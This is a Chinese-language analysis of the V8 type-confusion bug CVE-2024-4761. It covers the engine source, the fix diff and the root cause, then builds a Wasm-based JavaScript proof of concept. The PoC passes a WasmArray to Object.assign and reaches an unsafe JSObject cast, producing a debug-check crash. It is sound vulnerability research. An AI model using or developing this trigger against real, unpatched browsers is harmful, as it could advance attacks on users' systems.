0%

城堡的小门:v8类型混淆漏洞CVE-2024-4761分析

1. 前言

在讲述漏洞之前, 让我们设想这样一个场景: 你有一座设有严密防御的城堡,城墙高大坚固,把敌人挡在外面。你的城堡有唯一的入口,那就是一个重门深锁、有严格守卫检查的大门。然后,为了增加便利性,你决定在城堡的另一侧增加一个小门,方便城堡内的人快速出入。然而,你在增加这个新功能后,忘记了对这个小门进行同样严格的防御和检查。这就相当于在你的城堡的防线上留下了一个大漏洞。敌人可以绕过主门的严格检查,通过这个没有守卫的小门轻易进入城堡。

本次要讲述的漏洞CVE-2024-4761就是城堡的小门: 随着v8中wasm模块的蓬勃发展, 添加了许多新类型的对象, 这些新类型对于旧有的代码提出了源源不断的挑战, 导致旧有代码遗漏了某些检查.

本文着重于漏洞分析, 尝试从patch开始一步步构建出POC.

根据官方修复patch: https://chromium-review.googlesource.com/c/v8/v8/+/5527397, 我们可以得知: 该漏洞在f320600cd1f48ba6bb57c0395823fe0c5e5ec52e​这个commit中被修复, parent commit为66c0bd3237b1577e6291de56003f8fddc6b65b16​, 因此后续的源码分析都是基于parent commit进行的.

2. 背景知识

在进入漏洞分析之前, 我们首先需要了解一下相关函数

2.1 如何触发SetOrCopyDataProperties()

漏洞被认为是一个类型混淆, 位于SetOrCopyDataProperties()​方法中, 因此首先研究如何触发该函数

1
2
3
4
5
6
7
8
// 该函数用于读取source拥有的所有可枚举属性, 并且把他们添加到target中
// 使用Set还是CreateDataProperty依赖于use_set参数.
// 属于excluded_properties中的值不会被复制
V8_WARN_UNUSED_RESULT static Maybe<bool> SetOrCopyDataProperties(
Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source,
PropertiesEnumerationMode mode,
const base::ScopedVector<Handle<Object>>* excluded_properties = nullptr,
bool use_set = true);

这个函数没有直接暴露给js态使用, 而是先被封装为Runtime方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
RUNTIME_FUNCTION(Runtime_SetDataProperties) {
HandleScope scope(isolate);
DCHECK_EQ(2, args.length());
Handle<JSReceiver> target = args.at<JSReceiver>(0);
Handle<Object> source = args.at(1);

// 2. If source is undefined or null, let keys be an empty List.
if (IsUndefined(*source, isolate) || IsNull(*source, isolate)) {
return ReadOnlyRoots(isolate).undefined_value();
}

MAYBE_RETURN(JSReceiver::SetOrCopyDataProperties(
isolate, target, source,
PropertiesEnumerationMode::kEnumerationOrder),
ReadOnlyRoots(isolate).exception());
return ReadOnlyRoots(isolate).undefined_value();
}

RUNTIME_FUNCTION(Runtime_CopyDataProperties) {
HandleScope scope(isolate);
DCHECK_EQ(2, args.length());
Handle<JSObject> target = args.at<JSObject>(0);
Handle<Object> source = args.at(1);

// 2. If source is undefined or null, let keys be an empty List.
if (IsUndefined(*source, isolate) || IsNull(*source, isolate)) {
return ReadOnlyRoots(isolate).undefined_value();
}

MAYBE_RETURN(
JSReceiver::SetOrCopyDataProperties(
isolate, target, source,
PropertiesEnumerationMode::kPropertyAdditionOrder, nullptr, false),
ReadOnlyRoots(isolate).exception());
return ReadOnlyRoots(isolate).undefined_value();

Runtime方法用于涉及到对象属性复制的slow path, 比如TF定义的builtinSetDataProperties​就会在GotoIfForceSlowPath()​或者fast path无法进行时时跳转到Runtime::kSetDataProperties​, 进入slow path的条件

  1. !(IsEmptyFixedArray(source_elements) && !IsEmptySlowElementDictionary(source_elements)​: source的elements不是空数组并且也不是空的dictionary, 那么就进入runtime
  2. IsJSReceiverInstanceType(source_instance_type)​: 如果是JSReceiver的衍生对象, 但不是JSObject, 那么就进入slow path处理
  3. IsDeprecatedMap(target_map)​: target的map被弃用, 此时写入target会触发target map更新, fast path无法处理
  4. EnsureOnlyHasSimpleProperties(source_map, type, bailout)
  5. IsJSReceiverInstanceType(source_instance_type)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
TF_BUILTIN(SetDataProperties, SetOrCopyDataPropertiesAssembler) {
auto target = Parameter<JSReceiver>(Descriptor::kTarget);
auto source = Parameter<Object>(Descriptor::kSource);
auto context = Parameter<Context>(Descriptor::kContext);

Label if_runtime(this, Label::kDeferred);
// 强制进入slow path
GotoIfForceSlowPath(&if_runtime);
// 尝试fast path
SetOrCopyDataProperties(context, target, source, &if_runtime, base::nullopt,
base::nullopt, true);
Return(UndefinedConstant());

BIND(&if_runtime);
TailCallRuntime(Runtime::kSetDataProperties, context, target, source);
}

一个比较简单的触发SetOrCopyDataProperties​的方式就是通过Object.assign()

  • Object.assign()​调用Builtin::kSetDataProperties
  • Builtin::kSetDataProperties​尝试fast path失败后进入Runtime::kSetDataProperties
  • Runtime::kSetDataProperties​调用到CPP方法SetOrCopyDataProperties()​中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// ES #sec-object.assign
TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) {
TNode<IntPtrT> argc = ChangeInt32ToIntPtr(
UncheckedParameter<Int32T>(Descriptor::kJSActualArgumentsCount));
CodeStubArguments args(this, argc);

auto context = Parameter<Context>(Descriptor::kContext);
TNode<Object> target = args.GetOptionalArgumentValue(0);

// 被写入的对象
TNode<JSReceiver> to = ToObject_Inline(context, target);

Label done(this);
// 只有一个参数, 直接返回
GotoIf(UintPtrLessThanOrEqual(args.GetLengthWithoutReceiver(),
IntPtrConstant(1)),
&done);

// 遍历assign()后续所有的参数, 对于每一个参数都调用Builtin::kSetDataProperties
args.ForEach(
[=](TNode<Object> next_source) {
CallBuiltin(Builtin::kSetDataProperties, context, to, next_source);
},
IntPtrConstant(1));
Goto(&done);

// 5. Return to.
BIND(&done);
args.PopAndReturn(to);
}

触发slow path进入SetOrCopyDataProperties()​的例子如下

1
2
3
4
5
6
7
// job(from)->elements非空, 进入`SetOrCopyDataProperties()`
let from = {};
from[0]=0;

let target = {};
Object.assign(target, from);
%SystemBreak();

2.2 SetOrCopyDataProperties()​的作用

下面分析一下SetOrCopyDataProperties()​的具体行为, 研究下具体是那部分出错了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
// static
Maybe<bool> JSReceiver::SetOrCopyDataProperties(
Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source,
PropertiesEnumerationMode mode,
const base::ScopedVector<Handle<Object>>* excluded_properties,
bool use_set) {

// 首先尝试cpp部分的fast赋值
Maybe<bool> fast_assign =
FastAssign(isolate, target, source, mode, excluded_properties, use_set);
if (fast_assign.IsNothing()) return Nothing<bool>();
if (fast_assign.FromJust()) return Just(true);

// 获取要遍历属性的对象
Handle<JSReceiver> from = Object::ToObject(isolate, source).ToHandleChecked();

// 获取from中所有属性的key(相当于elements和properties一起处理了)
Handle<FixedArray> keys;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, keys,
KeyAccumulator::GetKeys(isolate, from, KeyCollectionMode::kOwnOnly,
ALL_PROPERTIES, GetKeysConversion::kKeepNumbers),
Nothing<bool>());

// 如果from没有fast properties, 但是target有fast properties, 并且target不是global proxy对象
if (!from->HasFastProperties() && target->HasFastProperties() &&
!IsJSGlobalProxy(*target)) {

int source_length; // source中属性的个数
if (IsJSGlobalObject(*from)) { // from是全局对象
source_length = JSGlobalObject::cast(*from)
->global_dictionary(kAcquireLoad)
->NumberOfEnumerableProperties();
} else if constexpr (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) {
source_length =
from->property_dictionary_swiss()->NumberOfEnumerableProperties();
} else { // from中是字典属性, 计算属性个数
source_length =
from->property_dictionary()->NumberOfEnumerableProperties();
}

// 如果source中属性个数超过了kMaxNumberOfDescriptors的限制
// 那么就把target中的fast properties都转换为dictionary properties
// 期望可以容纳source_length个元素, 因为后续也要把这部分添加进来
if (source_length > kMaxNumberOfDescriptors) {
JSObject::NormalizeProperties(isolate, Handle<JSObject>::cast(target),
CLEAR_INOBJECT_PROPERTIES, source_length,
"Copying data properties");
}
}

// 遍历所有的属性
for (int i = 0; i < keys->length(); ++i) {
// 获取第i个属性的key对象 (属性的key也是一个js对象)
Handle<Object> next_key(keys->get(i), isolate);
if (excluded_properties != nullptr &&
HasExcludedProperty(excluded_properties, next_key)) {
continue;
}

// 4a i. Let desc be ? from.[[GetOwnProperty]](nextKey).
// 获取该key的属性描述符
PropertyDescriptor desc;
Maybe<bool> found =
JSReceiver::GetOwnPropertyDescriptor(isolate, from, next_key, &desc);
if (found.IsNothing()) return Nothing<bool>();
// 4a ii. If desc is not undefined and desc.[[Enumerable]] is true, then
// 改属性为可枚举属性
if (found.FromJust() && desc.enumerable()) {
// 获取该属性的value对象
Handle<Object> prop_value;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, prop_value,
Runtime::GetObjectProperty(isolate, from, next_key), Nothing<bool>());

// 把属性写入target中
if (use_set) {
// 4c ii 2. Let status be ? Set(to, nextKey, propValue, true).
Handle<Object> status;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, status,
Runtime::SetObjectProperty(isolate, target, next_key, prop_value,
StoreOrigin::kMaybeKeyed,
Just(ShouldThrow::kThrowOnError)),
Nothing<bool>());
} else {
// 4a ii 2. Perform ! CreateDataProperty(target, nextKey, propValue).
PropertyKey key(isolate, next_key);
CHECK(JSReceiver::CreateDataProperty(isolate, target, key, prop_value,
Just(kThrowOnError))
.FromJust());
}
}
}

return Just(true);
}

总结一下操作逻辑

  • 首先调用FastAssign()​尝试fast path处理, 失败后进入后续部分
  • 调用KeyAccumulator::GetKeys(from)​获取from​中的所有属性, 这里就elements和properties一起处理了
  • 清理fast properties: 如果from没有fast properties, 但是target有fast properties, 那么就会调用NormalizeProperties(target)​把target中的fast properties转换为字典实现
  • 后续遍历from中所有的属性, 写入target​中

FastAssign()​的退出条件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
V8_WARN_UNUSED_RESULT Maybe<bool> FastAssign(
Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source,
PropertiesEnumerationMode mode,
const base::ScopedVector<Handle<Object>>* excluded_properties,
bool use_set) {

// 非空字符串被认为是non-JSReceiver, 需要在Object.assign()中显示处理
if (!IsJSReceiver(*source)) {
return Just(!IsString(*source) || String::cast(*source)->length() == 0);
}
...

Handle<Map> map(JSReceiver::cast(*source)->map(), isolate);

// fast path只能处理source为JSObject的情况
if (!IsJSObjectMap(*map)) return Just(false);
// fast path只能处理source为simple properties的情况(非dictionary properties)
if (!map->OnlyHasSimpleProperties()) return Just(false);

// 只能处理source的elements为empty fixed array的情况
Handle<JSObject> from = Handle<JSObject>::cast(source);
if (from->elements() != ReadOnlyRoots(isolate).empty_fixed_array()) {
return Just(false);
}

// 至此: 只需要遍历from的properties array
Handle<DescriptorArray> descriptors(map->instance_descriptors(isolate),
isolate);

...
}
UNREACHABLE();
}
} // namespace

因此只要from的elements不是fixed empty array的, 那么FastAssign()​就会退出

3. 漏洞根因

根据漏洞修复的diff:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
diff --git a/src/objects/js-objects.cc b/src/objects/js-objects.cc
index c3f5d31..13b787f 100644
--- a/src/objects/js-objects.cc
+++ b/src/objects/js-objects.cc
@@ -434,9 +434,7 @@
Nothing<bool>());

if (!from->HasFastProperties() && target->HasFastProperties() &&
- !IsJSGlobalProxy(*target)) {
- // JSProxy is always in slow-mode.
- DCHECK(!IsJSProxy(*target));
+ IsJSObject(*target) && !IsJSGlobalProxy(*target)) {
// Convert to slow properties if we're guaranteed to overflow the number of
// descriptors.
int source_length;

问题出现在调用NormalizeProperties(target)​的逻辑上, 调用JSObject::NormalizeProperties()​前额外限制了target​必须是JSObject

  • 在打上这个Patch之前: 调用NormalizeProperties()​时会执行Handle<JSObject>::cast(target)​把target强制转换为JSObject​类型
  • 但是根据参数声明: Handle<JSReceiver> target​只能保证target​是JSReceiver
  • 因此Handle<JSObject>::cast(target)这个强制类型转换是不安全的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Maybe<bool> JSReceiver::SetOrCopyDataProperties(
Isolate* isolate,
Handle<JSReceiver> target, // <===
Handle<Object> source,
PropertiesEnumerationMode mode,
const base::ScopedVector<Handle<Object>>* excluded_properties,
bool use_set) {
...
// 如果from没有fast properties, 但是target有fast properties, 并且target不是global proxy对象
if (!from->HasFastProperties() && target->HasFastProperties() &&
!IsJSGlobalProxy(*target)) {

int source_length; // source中属性的个数
...

// 如果source中属性个数超过了kMaxNumberOfDescriptors的限制
// 那么就把target中的fast properties都转换为dictionary properties
// 期望可以容纳source_length个元素, 因为后续也要把这部分添加进来
if (source_length > kMaxNumberOfDescriptors) {
JSObject::NormalizeProperties(isolate, Handle<JSObject>::cast(target),
CLEAR_INOBJECT_PROPERTIES, source_length,
"Copying data properties");
}
}
...
}

JSReceiver​与JSObject​的区别如下, JSReceiverJSObject少了一个elements字段

1
2
3
4
5
6
7
extern class JSReceiver extends HeapObject {
properties_or_hash: SwissNameDictionary|FixedArrayBase|PropertyArray|Smi;
}

extern class JSObject extends JSReceiver {
elements: FixedArrayBase;

因此: targetJSReceive的子类型, 但又不是JSObject类型时, 就会触发漏洞

根据out.gn/CVE-2024-4761/gen/torque-generated/instance-types.h​中的类继承关系, 满足条件的只有JS_PROXY_TYPE​, WASM_ARRAY_TYPE​, WASM_STRUCT_TYPE​三种类型.

1
2
3
4
5
6
7
8
9
10
11
  V(FIRST_JS_RECEIVER_TYPE, 290) \
V(FIRST_WASM_OBJECT_TYPE, 290) \
V(WASM_ARRAY_TYPE, 290) /* https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-objects.tq?l=252&c=1 */\
V(WASM_STRUCT_TYPE, 291) /* https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-objects.tq?l=249&c=1 */\
V(LAST_WASM_OBJECT_TYPE, 291) \
V(JS_PROXY_TYPE, 292) /* https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-proxy.tq?l=5&c=1 */\
V(FIRST_JS_OBJECT_TYPE, 293) \
... // JSObject的子类
V(LAST_JS_OBJECT_TYPE, 2165) \
V(LAST_JS_RECEIVER_TYPE, 2165) \
V(LAST_HEAP_OBJECT_TYPE, 2165) \

看得出之前在编写SetOrCopyDataProperties()的代码时只考虑到了JS_PROXY_TYPE的情况, 所以进行了过滤, 但是后面添加WASM_ARRAY_TYPE, WASM_STRUCT_TYPE时没有考虑到SetOrCopyDataProperties(), 由此导致了漏洞

4. 构造POC

4.1 创建WasmArray​对象

那么如何构造出一个WasmArray​对象? 研究发现v8发现没有直接提供JS API来创建这个对象, 而且由于WASM GC是一个比较新的提案, 因此wat2wasm​这个工具目前也不支持array.new​这种语法, 因此只能通过wasm-module-builder​构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const prefix = "../../";

d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);

let builder = new WasmModuleBuilder();

// 添加一个WasmArray类型, 元素类型为I32, 可变
let array = builder.addArray(kWasmI32, true);

builder.addFunction( // 添加名字为createArray的wasm函数
'createArray',
makeSig([kWasmI32], [kWasmExternRef]) // 函数签名: [kWasmI32]=>[kWasmExternRef]
).addBody([ // 生成函数体
kExprLocalGet, 0, // 栈上push局部变量0, 也就是函数kWasmI32类型的参数
kGCPrefix, kExprArrayNewDefault, array, // 创建array类型的数组, 元素为i32的默认值
kGCPrefix, kExprExternConvertAny, // 把wasm的值包装为Extern类型
]).exportFunc(); // 导出这个函数

let instance = builder.instantiate({}); // 构建wasm实例
let wasm = instance.exports; // 获取导入的函数
let array42 = wasm.createArray(42); // 42为wasm array的长度
%DebugPrint(array42);

构造出WasmArray​对象后就要想办法进入JSObject::NormalizeProperties(isolate, Handle<JSObject>::cast(target)

4.2 进入SetOrCopyDataProperties()

对于Object.assign(...)

1
2
let from = {};
Object.assign(array42, from);

Object.assign()​调用Builtin::kSetDataProperties​ 处理, 但是fast path: SetOrCopyDataProperties()​就可以直接完成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
TF_BUILTIN(SetDataProperties, SetOrCopyDataPropertiesAssembler) {
auto target = Parameter<JSReceiver>(Descriptor::kTarget);
auto source = Parameter<Object>(Descriptor::kSource);
auto context = Parameter<Context>(Descriptor::kContext);

Label if_runtime(this, Label::kDeferred);
// 强制进入slow path
GotoIfForceSlowPath(&if_runtime);
// 尝试fast path
SetOrCopyDataProperties(context, target, source, &if_runtime, base::nullopt,
base::nullopt, true);
Return(UndefinedConstant());

BIND(&if_runtime);
TailCallRuntime(Runtime::kSetDataProperties, context, target, source);
}

为了不进入SetOrCopyDataProperties()​, 只需要让job(from)->elements​非空这样就可以进入SetOrCopyDataProperties()

1
2
3
4
// job(from)->elements非空, 进入CPP方法JSReceiver::SetOrCopyDataProperties()处理
let from = {};
from[0]=0;
Object.assign(array42, from);

4.3 触发NormalizeProperties()

进入SetOrCopyDataProperties()

  1. 只要from的elements非空, FastAssign()就无法处理, 进入slow path部分

  2. 首先要满足!from->HasFastProperties() && target->HasFastProperties()

    1. target->HasFastProperties()​恒成立, WasmArray::properties​为kEmptyFixedArray
    2. 想要满足!from->HasFastProperties()​, 只需要让from​的properties​通过字典实现即可
  3. source_length > kMaxNumberOfDescriptors​: 需要让from​中properties超过kMaxNumberOfDescriptors​个, 也就是1020​个, 那么就可以成功进入NormalizeProperties(..., target)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Maybe<bool> JSReceiver::SetOrCopyDataProperties(
Isolate* isolate,
Handle<JSReceiver> target, // <===
Handle<Object> source,
PropertiesEnumerationMode mode,
const base::ScopedVector<Handle<Object>>* excluded_properties,
bool use_set) {
// [1] 只要from的elements非空, FastAssign()就无法处理
Maybe<bool> fast_assign =
FastAssign(isolate, target, source, mode, excluded_properties, use_set);
if (fast_assign.IsNothing()) return Nothing<bool>();
if (fast_assign.FromJust()) return Just(true);

...
// 如果from没有fast properties, 但是target有fast properties, 并且target不是global proxy对象
if (!from->HasFastProperties() && target->HasFastProperties() &&
!IsJSGlobalProxy(*target)) {

int source_length; // source中属性的个数
...

// 如果source中属性个数超过了kMaxNumberOfDescriptors的限制
// 那么就把target中的fast properties都转换为dictionary properties
// 期望可以容纳source_length个元素, 因为后续也要把这部分添加进来
if (source_length > kMaxNumberOfDescriptors) {
JSObject::NormalizeProperties(isolate, Handle<JSObject>::cast(target),
CLEAR_INOBJECT_PROPERTIES, source_length,
"Copying data properties");
}
}
...
}

因此这部分poc如下

1
2
3
4
5
6
7
8
9
10
11
12
// job(from)->elements非空, 进入CPP方法JSReceiver::SetOrCopyDataProperties()处理
let from = {};
from[0]=0;

// 添加properties, 使得job(from)->properties通过字典实现, 让!from->HasFastProperties()成立
// properties个数超过1020, 让source_length > kMaxNumberOfDescriptors成立
// 最终触发JSObject::NormalizeProperties(..., Handle<JSObject>::cast(target), ...)
for(let i=0; i<1021; i++) {
from['p'+i] = i;
}

Object.assign(array42, from);

4.4 完整POC

最终下面这样的POC即可触发crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
const prefix = "../../";

d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);

let builder = new WasmModuleBuilder();
let array = builder.addArray(kWasmI32, true);

builder.addFunction('createArray', makeSig([kWasmI32], [kWasmExternRef]))
.addBody([
kExprLocalGet, 0,
kGCPrefix, kExprArrayNewDefault, array,
kGCPrefix, kExprExternConvertAny,
]).exportFunc();

let instance = builder.instantiate({});
let wasm = instance.exports;
let array42 = wasm.createArray(42);
%DebugPrint(array42);

// job(from)->elements非空, 进入CPP方法JSReceiver::SetOrCopyDataProperties()处理
let from = {};
from[0]=0;

// 添加properties, 使得job(from)->properties通过字典实现, 让!from->HasFastProperties()成立
// properties个数超过1020, 让source_length > kMaxNumberOfDescriptors成立
// 最终触发JSObject::NormalizeProperties(..., Handle<JSObject>::cast(target), ...)
for(let i=0; i<1021; i++) {
from['p'+i] = i;
}

Object.assign(array42, from);
%SystemBreak();

crash如下

1
2
3
4
5
#
# Fatal error in ../../src/objects/map-inl.h, line 344
# Debug check failed: IsJSObjectMap(*this).
#
#

5. 总结

这个漏洞的根因在于支持WasmGC之后添加了新的对象类型, 导致与属性访问部分的老代码漏判.

实际上随着wasm模块的发展, 随之而来的漏洞源源不断. 对于漏洞挖掘工作提供了重要的启发: 一定关注新代码, 因为新的代码往往是最容易被攻击的部分. 他们在开发过程中必须格外留意,确保旧有的代码能够安全地处理新的代码。在我们的"城堡"上打开新的一扇"小门"时,我们必须谨记,绝不能忘记对这扇新开的"小门"进行严格的安全检查。

6. Reference